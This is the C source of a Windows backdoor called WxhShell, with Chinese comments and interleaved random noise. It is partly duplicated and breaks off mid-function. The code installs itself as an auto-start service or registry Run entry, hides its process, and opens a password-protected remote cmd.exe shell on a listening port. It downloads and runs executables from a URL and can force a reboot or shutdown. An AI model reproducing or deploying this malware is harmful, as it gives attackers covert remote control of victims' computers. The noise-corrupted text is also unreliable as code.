bpa^ LYuMR,7E HANDLE hProcess; _6`H`zept PROCESS_BASIC_INFORMATION pbi; +.a->SZ5" :n OCs HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g6h=Q3@ if(NULL == hInst ) return 0; ;y;UgwAM M1eM^m8U g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :m0pm@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L;U?s2&Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $*j)ey>
eI/@ut}v if (!NtQueryInformationProcess) return 0; 'Uo|@tK #TIlM]5% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;It1i`!R if(!hProcess) return 0; `pXPF}T wc ;^C?PX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]YUst]gu3 Y+C6+I<3 CloseHandle(hProcess); ([NS% (/|f6_9! hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *X2dS
{ if(hProcess==NULL) return 0; iwfH~ ={I(i6 HMODULE hMod; [ z{}? char procName[255]; 8p]Krs: unsigned long cbNeeded; "4CO^ B rs@qC>_C0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `jT1R!$3F qSQsY:]j0 CloseHandle(hProcess); t x1(6V&l; zLjQ,Lp.I if(strstr(procName,"services")) return 1; // 以服务启动 H,)2Ou-Wn J6J;
!~>_ return 0; // 注册表启动 Zb2.o5#} } "9,+m$nj =BBqK=W.d // 主模块 }^PdW3O*m, int StartWxhshell(LPSTR lpCmdLine) 4x$Ts %] { \7q>4[ SOCKET wsl; AE4>pzBe BOOL val=TRUE; Y~
Nt9L int port=0; mam(h{f$ struct sockaddr_in door; Ns-3\~QSi G TW5f if(wscfg.ws_autoins) Install(); lsOZ%p%fV {&h= port=atoi(lpCmdLine); @qB1:==@7 gal.<SVW if(port<=0) port=wscfg.ws_port; $u{ 8wF/) ^S^7u WSADATA data; *%QTv3{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zg{ 1y.!x~Pi, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; SI;SnF'[7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _UUp+Hz door.sin_family = AF_INET; s
]Db<f door.sin_addr.s_addr = inet_addr("127.0.0.1"); k^\>=JTq= door.sin_port = htons(port); 6zJ>n~&( =)2!qoE if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ea!Znld] closesocket(wsl); P26YJMJ' return 1; ,IG?(CK| } ;%Zn)etu d<v)ovQJ] if(listen(wsl,2) == INVALID_SOCKET) { oBzjEv closesocket(wsl); d+g+{p>? return 1; _"sFLe{
} 67d p)X Wxhshell(wsl); si|b>R&Z WSACleanup(); cz$q~)I$ d=:&tOCg2 return 0; 0& ?/TSC !J+< M~o} } l}mzCIw% N2`u
]*"0 // 以NT服务方式启动 J/ ^|Y6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3,{tGNl| { /yL:_6c- DWORD status = 0; -W XZOdUjs DWORD specificError = 0xfffffff; ]73BJ VTxLBFK; serviceStatus.dwServiceType = SERVICE_WIN32; hG.~[#[&6 serviceStatus.dwCurrentState = SERVICE_START_PENDING; _z \PVTT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ahm@ +/2 serviceStatus.dwWin32ExitCode = 0; 2~SjRIp Uw serviceStatus.dwServiceSpecificExitCode = 0; j!QP>AM|` serviceStatus.dwCheckPoint = 0; vq*)2. serviceStatus.dwWaitHint = 0; Zkn1@a >-YWq hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,a?$F1Z- if (hServiceStatusHandle==0) return; |%-:qk4rG oj~0zJI status = GetLastError(); Y7
`i~K; if (status!=NO_ERROR) S t0AV.N1 { 7eekTh, ? serviceStatus.dwCurrentState = SERVICE_STOPPED; U^{'"x+ serviceStatus.dwCheckPoint = 0; I4^}C;p0? serviceStatus.dwWaitHint = 0; $NhKqA`0 serviceStatus.dwWin32ExitCode = status; ;&G8e*bM2 serviceStatus.dwServiceSpecificExitCode = specificError; 9% AL f 9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); mu =H&JC return; b<mxf\b } '1yy&QUZq j{u!/FD serviceStatus.dwCurrentState = SERVICE_RUNNING; rocG;$[ serviceStatus.dwCheckPoint = 0; : $>TeCm serviceStatus.dwWaitHint = 0;
Rw\S-z/ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M/mUY } :]oR x @q]{s+#Xf // 处理NT服务事件,比如:启动、停止 T'nQj<dBt: VOID WINAPI NTServiceHandler(DWORD fdwControl) naoH685R4 { y!?l;xMS switch(fdwControl) DEkFmmw
{ pn6!QpV5 case SERVICE_CONTROL_STOP: ~wsDg[ serviceStatus.dwWin32ExitCode = 0; ?H_'L4Wv serviceStatus.dwCurrentState = SERVICE_STOPPED; R)?zL;,x serviceStatus.dwCheckPoint = 0; ^UAL5}CQt serviceStatus.dwWaitHint = 0; RxVf:h'l { vS|uN(a.P SetServiceStatus(hServiceStatusHandle, &serviceStatus); `*=Tf } kM
T73OI>_ return; 2v6QUf case SERVICE_CONTROL_PAUSE: DIurFDQSS serviceStatus.dwCurrentState = SERVICE_PAUSED; ^?)o,djY& break; }$ZcC_ case SERVICE_CONTROL_CONTINUE: r&t)%R@q serviceStatus.dwCurrentState = SERVICE_RUNNING; =?/RaK/
w break; *n=NBkq%/! case SERVICE_CONTROL_INTERROGATE: xW;-=Q break; GKNH{|B$D }; l[q%1-N SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Z;?d@6yI } -Vi"hSsUP @i[z4)"S // 标准应用程序主函数 `9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &k+'TcWm { 6n.W5
1g(s $MEKt}S // 获取操作系统版本 t3)nG8>
) OsIsNt=GetOsVer(); j&.MT@ GetModuleFileName(NULL,ExeFile,MAX_PATH); FaNH+LPe )TBG-<wt // 从命令行安装 \e/'d~F if(strpbrk(lpCmdLine,"iI")) Install(); 9j[%Y? /v1Rn*VF! // 下载执行文件 6NV- &0 _ if(wscfg.ws_downexe) { P#g"c.?; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K~_[[)14b WinExec(wscfg.ws_filenam,SW_HIDE); <|s9@;(I } nKJJ7 RL uYPdmrPB?l if(!OsIsNt) { 8h#/b1\ // 如果时win9x,隐藏进程并且设置为注册表启动 n(gw%w+\7 HideProc(); 0vs9# <&V StartWxhshell(lpCmdLine); q=5#t~? } +FWkhmTv else 4 }l,F if(StartFromService()) r2T-= XWB // 以服务方式启动 i[~oMwc& StartServiceCtrlDispatcher(DispatchTable); b0CtQe else P{eL;^I // 普通方式启动 !S[8w9q StartWxhshell(lpCmdLine); |-hzvuSX F(8>"(C return 0; T6|zT}cb } O7shY4 Sr T3o}%wGW _-*Lj;^V BC0T[o(f8 =========================================== x8sSb:N (L?fYSP! JU7EC~7|2c ;wfzlUBC 63d'
fgVp
L[d7@ " P+sxlf:0 $up.<qzj #include <stdio.h> 8Hf!@p6R+ #include <string.h> xS` %3+| #include <windows.h> bmEo5f~C! #include <winsock2.h> {|%N #include <winsvc.h> %v\0Dm+A #include <urlmon.h> ;%Jw9G\h |\j'Z0 #pragma comment (lib, "Ws2_32.lib") j(!M #pragma comment (lib, "urlmon.lib") 2B7X~t>8a CUT D]:\ #define MAX_USER 100 // 最大客户端连接数 2;G^>BP< #define BUF_SOCK 200 // sock buffer \+E{8&TH' #define KEY_BUFF 255 // 输入 buffer bIP{DxKS VpJ/M(UD- #define REBOOT 0 // 重启 euS"C* #define SHUTDOWN 1 // 关机 (xJ6: u aD,sx#g0 #define DEF_PORT 5000 // 监听端口 Efb>ZQ bE2^sx`( #define REG_LEN 16 // 注册表键长度 k~u$&a #define SVC_LEN 80 // NT服务名长度 xT I&X9P )eNR4nF // 从dll定义API maLKUSgo typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uYlC*z{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jRS0(8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ewqfs/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^0R.U+?+ <8[BB7 // wxhshell配置信息 BhkJ>4# struct WSCFG { lvIKL!;H int ws_port; // 监听端口 TdI5{?sW char ws_passstr[REG_LEN]; // 口令 mxhO:.l int ws_autoins; // 安装标记, 1=yes 0=no (b Q1,y char ws_regname[REG_LEN]; // 注册表键名 @kUCc1LT char ws_svcname[REG_LEN]; // 服务名 u=feR0|8 char ws_svcdisp[SVC_LEN]; // 服务显示名 M-u:8dPu char ws_svcdesc[SVC_LEN]; // 服务描述信息 o+SD(KVn- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SIjdwr!+ZZ int ws_downexe; // 下载执行标记, 1=yes 0=no sTO* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E)m{m$Hb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {[PoLOCI 8/*q#j }; *z`_U]tP h8oG5|Y // default Wxhshell configuration $
+;`[b struct WSCFG wscfg={DEF_PORT, &'4id[$9 "xuhuanlingzhe", 5YaTE<G 1, OWFLw "Wxhshell", p q7G[ "Wxhshell", A^2VH$j]+ "WxhShell Service", "W;GvI
"Wrsky Windows CmdShell Service", C)`k{(-{ "Please Input Your Password: ", n4+l,~ 1, /c~z(wv "http://www.wrsky.com/wxhshell.exe", ]'=]=o~4 "Wxhshell.exe" u~\u8X3 }; S1&mY'c dJM)~Ay- // 消息定义模块 wp`a:QZ8N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ["4h%{. char *msg_ws_prompt="\n\r? for help\n\r#>"; &a% |L=FY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xSZgQF~ char *msg_ws_ext="\n\rExit."; ^ElUU ?rX char *msg_ws_end="\n\rQuit."; WF<`CQ g[ char *msg_ws_boot="\n\rReboot..."; 40N8?kQ}? char *msg_ws_poff="\n\rShutdown..."; =vMFCp;mv char *msg_ws_down="\n\rSave to "; EAU6z(X$ yf+M char *msg_ws_err="\n\rErr!"; .`&($W char *msg_ws_ok="\n\rOK!"; mOr>*uR Cfu]umZLn char ExeFile[MAX_PATH]; tgH@|Kg int nUser = 0; y^tuybpZY< HANDLE handles[MAX_USER]; q'77BRD3 int OsIsNt; O^48c$Apv x):cirwkl SERVICE_STATUS serviceStatus; ";yCo0* SERVICE_STATUS_HANDLE hServiceStatusHandle; 7udMF3;> Vm6G5QwM // 函数声明 H#x=eDU|k int Install(void);
@dQIl# int Uninstall(void); I.TdYSB int DownloadFile(char *sURL, SOCKET wsh); Y;d$x}dh int Boot(int flag); e.jrX;;$!& void HideProc(void); l=U@j
T int GetOsVer(void); Enn7p9& int Wxhshell(SOCKET wsl); IlJ6&9 void TalkWithClient(void *cs); -?`^^v int CmdShell(SOCKET sock); = ;#?CAa: int StartFromService(void); DVt;I$ int StartWxhshell(LPSTR lpCmdLine); SuU,SE'TX n=l>d#}$%T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J`a$"G B. VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aa-L<wZVPt fOCLN$x^ // 数据结构和表定义 4%1sOnl SERVICE_TABLE_ENTRY DispatchTable[] = hIu;\dfwk { N|5J-fR& {wscfg.ws_svcname, NTServiceMain}, (:Rj:8{ {NULL, NULL} "2q}G16K }; *n dXZ64 TJ8IYo|
D // 自我安装 @9g$+_"ZT int Install(void) 2apR7 { p9Zi}!
char svExeFile[MAX_PATH]; =#dW^?p HKEY key; oBiJiPE=` strcpy(svExeFile,ExeFile); o<bZ. t `"zXf -qeE // 如果是win9x系统,修改注册表设为自启动 GZ,`? if(!OsIsNt) { m(SGE,("w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ol7%$:S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T Z{';oU RegCloseKey(key); 0(A`Ia if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Tf~)x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A@xa$!4} RegCloseKey(key); ;`',M6g return 0; <dl:';@a- } 6r{NW9y' } "s[wLclfG } 8)HUo?/3 else { UZ7Zzc#g gKoB)n<[ // 如果是NT以上系统,安装为系统服务 O4J <u-E$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [E<NEl* if (schSCManager!=0) =V~pQbZ { 6U5L>sQ SC_HANDLE schService = CreateService 7p*PDoM6` ( VA+
?xk schSCManager, V:HxRMF2X wscfg.ws_svcname, t=o2:p6& wscfg.ws_svcdisp, l
Os91+.% SERVICE_ALL_ACCESS, o0nd]"q? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #&<>|m SERVICE_AUTO_START, <y[LdB/a SERVICE_ERROR_NORMAL, 4\
R2\ svExeFile, -l)vl<} NULL, [AkL6 NULL, V
.+ mK|) NULL, 4H'\nsM NULL, x9Um4!/t NULL }-Q FMPXhG ); I^S
gWC if (schService!=0) 0'q&7
MV { jez=q CloseServiceHandle(schService); mh&wvT<:{ CloseServiceHandle(schSCManager); 6BK-(>c(6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8AL`<8$ strcat(svExeFile,wscfg.ws_svcname); /vC|_G|{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =y+gS%o$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J=?`~?Vbo RegCloseKey(key); 7u7`z% return 0; B8A-|S!,U } e>z } EQ< qN<uW CloseServiceHandle(schSCManager); Z./$}tVUG } %;ST7 } E;m]RtvH VwJ A return 1; DmzK* O{ }
mY6d+ -yyim;Nj // 自我卸载 cW%QKdTQY0 int Uninstall(void) ! Rr k { \cJ?2^Eq HKEY key; Sd[%$)scC tNpBRk(} if(!OsIsNt) { [ye!3h&] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pY@$N&+W RegDeleteValue(key,wscfg.ws_regname); -u+@5K;^Y RegCloseKey(key); 2tPW1"M.n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~4gOv RegDeleteValue(key,wscfg.ws_regname); *i LlBE RegCloseKey(key); v *'anw&Z return 0; aia`mO] } /`6Y-8e2 } u NmbR8Mx } Ub[SUeBGH else { 7\(mn$ :c75*h` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rdj_3Utv if (schSCManager!=0) fv@mA -- { 3an9Rb V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YA+jLy6ZL if (schService!=0) 9ZXkuP9vm { \vg(@)$q
if(DeleteService(schService)!=0) { ;IV CloseServiceHandle(schService); H(|n,c CloseServiceHandle(schSCManager); v9*ugu[K9 return 0; o,qq*}= } )ZZjuFQJ) CloseServiceHandle(schService); wPr9N}rf } Ygeg[S!7 CloseServiceHandle(schSCManager); 8M6
Xd]{% } M~/Pk7CC } b"4'*<=au '%Fg+cZN\ return 1; t+9[ki } -d-vzri "Yp:{e // 从指定url下载文件 f%,Vplb int DownloadFile(char *sURL, SOCKET wsh) %<dvdIB { TEJn;D<1I, HRESULT hr; L
i g7Ac, char seps[]= "/"; zv%]j0 ? char *token; ]S char *file; L<D<3g|4 char myURL[MAX_PATH]; 8NF93tqD6 char myFILE[MAX_PATH]; 7C;oMh5 SI)QX\is8 strcpy(myURL,sURL); srbES6 token=strtok(myURL,seps); hZZ while(token!=NULL) R!)3{cjU@ { T 6ihEb$C file=token; Ppton+?( token=strtok(NULL,seps); mV>l`&K= } we("#s1= '@0Z#A GetCurrentDirectory(MAX_PATH,myFILE); #}xw
*)3 strcat(myFILE, "\\"); s78MXS?py strcat(myFILE, file); rtSG-_[i send(wsh,myFILE,strlen(myFILE),0); ]3D>ai? send(wsh,"...",3,0); gPE`mE hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iY,FfuE if(hr==S_OK) ZA1:Y{V return 0; ']bw37_U, else !V^wq]D2 return 1; AONEUSxJ :
Iq }
'^|u\$&U M&[bb $00j // 系统电源模块 8NZQTRdH int Boot(int flag) :~^_*: { vZiuElxKi HANDLE hToken; | V:9 ][\ TOKEN_PRIVILEGES tkp; :kMF.9U: W(jOD,QMB if(OsIsNt) { }/bxe0px OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1agNwFd~ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )5[OG7/g tkp.PrivilegeCount = 1; yR3pK
0Y(? tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; mOC<a7# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (- D^_*f if(flag==REBOOT) { F$sDmk# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [%c5MQ?H return 0; _|Uv7>}J^ } _j\GA6 else { XN^l*Q?3n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =vs]Kmm return 0; /2f } RVN;j4uMg } fsjCu! else { y9Q#%a8V if(flag==REBOOT) { ~tc,p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !AXt6z cZ return 0; b!<\#[
A4 } ]*Cq'<h$ else { '" 4;;( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [C#H _y( return 0; r!<)CT}D } d iWi0@ } ID]E3K vbh 5 return 1; L9$`zc } ew.jsa`TrW `N}aV Ns // win9x进程隐藏模块 PX- PVW void HideProc(void) 2C
Fgit { V7"^.W* F{G.dXZZ< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zCdcwTe if ( hKernel != NULL ) p:;`X! { %Ze]6TP/>< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w{WEYS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); LO;?#e7 FreeLibrary(hKernel); b%QcB[k[WB } TCR|wi]
kW $(]E$ek return; P,rD{ 0~ } *.6m,QqJ( der\"?_. // 获取操作系统版本 y 2C Jk~ int GetOsVer(void) Q*N{3G! { R $@$ OSVERSIONINFO winfo; "-Yj~ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ES\=MO5a7 GetVersionEx(&winfo); S}P rgw/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mb>8=hMg return 1; f+lPQIB else )A$xt)}P!{ return 0; \ZtKaEXnx } af'gk&% /PKu",Azj // 客户端句柄模块 LC4W?']/ int Wxhshell(SOCKET wsl) $-p9cyk { feJl[3@tO SOCKET wsh; !'#GdRstv struct sockaddr_in client; @\WeI"^F8 DWORD myID; %i.Prckrb fZp3g%u while(nUser<MAX_USER) 9>@Vk
vpY { R2A#2{+H int nSize=sizeof(client); X4<Y5?&0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {TZV^gT4 if(wsh==INVALID_SOCKET) return 1; DB+oCE<.# bao"iv~z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W]5Hc|!^^ if(handles[nUser]==0) w$Z%RF'p closesocket(wsh); e^}@X[*'# else L6"V=^Bq nUser++; kEp{L } j[A:So WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :Y|[?; r&+w)U~ return 0; c,:nWf } 81H9d6hqcD S%jW}v'; // 关闭 socket )b1X6w[ void CloseIt(SOCKET wsh) J$U_/b.mk { \YSprXe closesocket(wsh); 1H?I?IT30 nUser--; w*]FJ-b<.j ExitThread(0); HQNpf1=D } [tR b{JsUd ~RH)iI // 客户端请求句柄 cua ( w void TalkWithClient(void *cs) n1x"B>3 { WXY-]ir. M.HMnN# SOCKET wsh=(SOCKET)cs; S0tkqA4 char pwd[SVC_LEN]; 0g;)je2_2? char cmd[KEY_BUFF]; Z]w?RL char chr[1]; qLPuKIF int i,j; V%B~ q`4 -Iis/Xw: while (nUser < MAX_USER) { y\})C-& gT(8.<h8 if(wscfg.ws_passstr) { 8Wo!NG:V5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cbYQ';{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <kk!ns I //ZeroMemory(pwd,KEY_BUFF); ,pY:kQ i=0; G^';9 UK while(i<SVC_LEN) { EywBT G)q;)n;*= // 设置超时 ia (&$a8X fd_set FdRead; ROXa/ struct timeval TimeOut; ~uV(/?o% FD_ZERO(&FdRead); 1IlOU|4 FD_SET(wsh,&FdRead); PuhvJHT TimeOut.tv_sec=8; Omi/sKFMi TimeOut.tv_usec=0; I9dX\w} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =ym<yI< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :G#+5 } cvQAo| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {9@u:(<X9 pwd=chr[0]; UmArl)R/ if(chr[0]==0xd || chr[0]==0xa) { n wMq~I*1 pwd=0; _ds;:*N+qA break; %E"v@ } {VXucGI| i++; UZs'H"K } G{{M'1 0":k[y // 如果是非法用户,关闭 socket [RF]lM]w if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |?]doBm| } VkO*+"cGv Abi(1nXdQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m\XG7uo~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hzU(XW .
:>e"D while(1) { #WJ*)$A@& 1{wbC) ZeroMemory(cmd,KEY_BUFF); xQ2:tY#? CB
X}_]9X // 自动支持客户端 telnet标准 1+Uem j=0; 1J72*`4OK while(j<KEY_BUFF) { S;y4Z:! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E [6:}z< cmd[j]=chr[0]; 6^!fuIZ;_ if(chr[0]==0xa || chr[0]==0xd) { C,A/29R,s cmd[j]=0; 4UUbX break; #a2gRg } ( $>m]| j++; ->X>h_k.Y } \*Yr&Lm N!MDD?0 // 下载文件 1/~=61msc if(strstr(cmd,"http://")) { L`e19I$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 74a@/'WbE if(DownloadFile(cmd,wsh)) oam;hmw send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(H.1ESk else
Vh>cV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rlA/eQrS } s2GF*{ else { QQ_7Q^ 2P)O
0j\/ switch(cmd[0]) { `uUzBV.FR rmo\UCD // 帮助 dGi
HO case '?': { 5&h">_j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N>,`TsUwW break; d=n{Wn{C } b$%Kv( // 安装 E4>}O;m0 case 'i': { qv}ECQ if(Install()) &oq0XV.M^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ><Zu+HX else q5L^>" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ."=%]l0 break; |q8N$m } la)^`STh // 卸载 AS@(]T#R case 'r': { 2%L`b"9}V if(Uninstall()) beC%Tnb7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )XGz#C_P else Lt=32SvTn send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oC*a;o break; #{{p4/: } u '/)l} // 显示 wxhshell 所在路径 Nh_\{
&r case 'p': { aK95&Jyw& char svExeFile[MAX_PATH]; hc+B+-, strcpy(svExeFile,"\n\r"); >X
eXd{$ strcat(svExeFile,ExeFile); (tOhuSW send(wsh,svExeFile,strlen(svExeFile),0); 'vZIAnB8 break; \~z$'3H` } LiV&47e*> // 重启 jx}'M$TA case 'b': { ~59lkr8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ooUVVp if(Boot(REBOOT)) JO0o@M5H send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:ci/09wD else { GCq4{_B\Q closesocket(wsh); L!zdrCM ExitThread(0); Q}OloA(+ } .=TXi<8Brw break; \20}/& } m7g*zu2# // 关机 GT)7VF rL case 'd': { @$n
$f send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;Tp9)UP) if(Boot(SHUTDOWN)) `6J7c;: send(wsh,msg_ws_err,strlen(msg_ws_err),0); (lVMy\ else { Z|$DchC
closesocket(wsh); %" 7UYLX ExitThread(0); }O
$]xB } y|KQ`; break; h=gtuaR4 } VOM@x% 6#c // 获取shell MiIxj%,( case 's': { Ycspdl+(S$ CmdShell(wsh); vN\[2r%S closesocket(wsh); V%PQlc.X ExitThread(0); ?o?$HK break; D@gC(&U/6 } ~M-L+XZl( // 退出 cI@qt>& case 'x': { 2=n`z)R send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [B+F}Q^; CloseIt(wsh); 4S~kNp$ break; A1-,b.Ni } Y;_F ,4H // 离开 P.@dB.Ny case 'q': { @4T send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?x&}ammid closesocket(wsh); ,++HiYOG}e WSACleanup(); ~Yi4?B< exit(1); g^(gT break; 6h)_{|
L ) } ]"uG04"Vk } qz]qG=wmL } X+N5iT P>iZgv // 提示信息 v0oVbHO5< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'QG`^@Z } >pLJ ,Z } )MF@'zRK SfC* ZM}< return; ||QK)$" } %p )"_q!ge >fI\f <ez // shell模块句柄 UWC4PWL,>C int CmdShell(SOCKET sock) >_ZEQC { p03I&d@w> STARTUPINFO si; g:)iEw>a ZeroMemory(&si,sizeof(si)); SDO:Gma si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'LPyh ;!f si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4~h0/H" PROCESS_INFORMATION ProcessInfo; (9I(e^@] char cmdline[]="cmd"; F +(S-Qk1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [BD`h return 0; \{:A&X~\! } jDb\4QyC LxhS
9 // 自身启动模式 ajk}&`Wj" int StartFromService(void) B2Y.1mXq { O[t?*m1/ typedef struct GkI'. { Slg*[r# DWORD ExitStatus; n({%|O<| DWORD PebBaseAddress; F<g&t|@ DWORD AffinityMask; 6c-3+,Y"# DWORD BasePriority; ,4t6Cq! ULONG UniqueProcessId; s0;a j<J ULONG InheritedFromUniqueProcessId; ?#
FYF\P } PROCESS_BASIC_INFORMATION; `i
cs2po $Bz};@ PROCNTQSIP NtQueryInformationProcess; XH~(=^/_ =bC' >qw} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y*+8Z&i.: static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 81:%Z&?vRl ">.k 6Q HANDLE hProcess; j
[lS.Lb PROCESS_BASIC_INFORMATION pbi; 06^/zr ^.8~}TT-U HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A1+:y,wXs if(NULL == hInst ) return 0; GWuKDq G)I`
M4}*n g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nL=+`aq_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yft [)id NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d=^QK{8 Pb?v i<ug+ if (!NtQueryInformationProcess) return 0; T.;{f{ ao9#E"BfM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Z8GG if(!hProcess) return 0; 2H.g!( Oza /}~=)QHH if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E7iAN\vo 1Y $%| ` CloseHandle(hProcess); ,Kj>F2{ Gh=I2GSo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, 